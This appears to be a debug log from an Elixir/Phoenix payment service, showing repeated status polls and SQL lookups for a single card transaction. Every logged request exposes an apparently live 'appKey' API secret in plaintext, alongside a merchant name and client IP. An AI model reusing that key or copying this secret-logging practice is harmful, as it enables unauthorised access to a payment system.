SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:58:58.131000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54788] QUERY OK source="cloud_transaction" db=0.5ms queue=0.2ms idle=1945.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:58:58.131000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:54788] Sent 200 in 21ms
[Fri Sep  4 10:59:03.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:59034] POST /api/device/status
[Fri Sep  4 10:59:03.535000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:59034] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:03.535000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:59034] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:03.535000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:59034] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:03.570000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59034] QUERY OK source="pos_transaction" db=27.1ms queue=7.3ms idle=1341.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:03.572000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59034] QUERY OK source="pos_temp_transaction" db=1.8ms idle=1376.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:03.576000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59034] QUERY OK source="pos_failed_transaction" db=3.7ms idle=922.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:03.579000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59034] QUERY OK source="cloud_transaction" db=2.7ms idle=440.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:03.579000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:59034] Sent 200 in 45ms
[Fri Sep  4 10:59:08.353000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:59044] POST /api/device/status
[Fri Sep  4 10:59:08.354000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:59044] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:08.354000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:59044] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:08.354000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:59044] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:08.376000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59044] QUERY OK source="pos_transaction" db=21.4ms idle=1164.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:08.382000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59044] QUERY OK source="pos_temp_transaction" db=5.7ms idle=1185.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:08.387000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59044] QUERY OK source="pos_failed_transaction" db=3.7ms queue=0.4ms idle=1192.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:08.390000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:59044] QUERY OK source="cloud_transaction" db=1.2ms idle=1197.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:08.390000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:59044] Sent 200 in 36ms
[Fri Sep  4 10:59:13.160000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36088] POST /api/device/status
[Fri Sep  4 10:59:13.160000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:36088] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:13.160000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36088] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:13.160000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36088] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:13.179000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36088] QUERY OK source="pos_transaction" db=18.1ms idle=1971.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:13.181000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36088] QUERY OK source="pos_temp_transaction" db=1.6ms queue=0.1ms idle=1462.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:13.186000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36088] QUERY OK source="pos_failed_transaction" db=5.0ms idle=990.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:13.189000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36088] QUERY OK source="cloud_transaction" db=1.0ms idle=997.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:13.190000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36088] Sent 200 in 29ms
[Fri Sep  4 10:59:18.182000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36090] POST /api/device/status
[Fri Sep  4 10:59:18.182000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:36090] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:18.182000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36090] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:18.182000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36090] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:18.201000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36090] QUERY OK source="pos_transaction" db=17.9ms idle=1982.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:18.203000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36090] QUERY OK source="pos_temp_transaction" db=1.8ms idle=462.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:18.207000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36090] QUERY OK source="pos_failed_transaction" db=2.9ms idle=249.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:18.207000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36090] QUERY OK source="cloud_transaction" db=0.5ms idle=162.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:18.208000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36090] Sent 200 in 26ms
[Fri Sep  4 10:59:23.097000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:36494] POST /api/device/status
[Fri Sep  4 10:59:23.097000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:36494] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:23.098000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36494] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:23.099000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:36494] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:23.115000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:36494] QUERY OK source="pos_transaction" db=15.4ms queue=0.1ms idle=904.2ms
